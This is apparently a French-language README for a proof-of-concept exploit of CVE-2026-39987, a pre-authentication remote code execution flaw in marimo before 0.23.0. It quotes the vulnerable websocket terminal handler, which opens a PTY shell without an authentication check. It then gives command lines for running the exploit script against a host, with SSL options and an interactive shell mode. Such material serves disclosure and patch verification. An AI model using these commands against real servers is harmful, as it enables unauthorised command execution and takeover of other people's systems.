
CVE-2026-39987 for marimo 0.20.4 PoC
Infos :
CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance (RCE) avant authentification dans Marimo (versions antérieures à 0.23.0)
Pourquoi cela fonctionne :
Le point de terminaison /terminal/ws est exposé sans aucune authentification.
à l'intérieur : marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
Comme vous pouvez le voir, aucune vérification d'authentification n'est effectuée avant la création d'un shell PTY.
python3 CVE-2026-39987.py example.com -c 'whoami'
si cela ne renvoie rien et que la cible utilise SSL, utilisez les arguments --max-wait et --any-ssl.
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
il existe aussi un mode interactif
python3 CVE-2026-39987.py example.com -i --any-ssl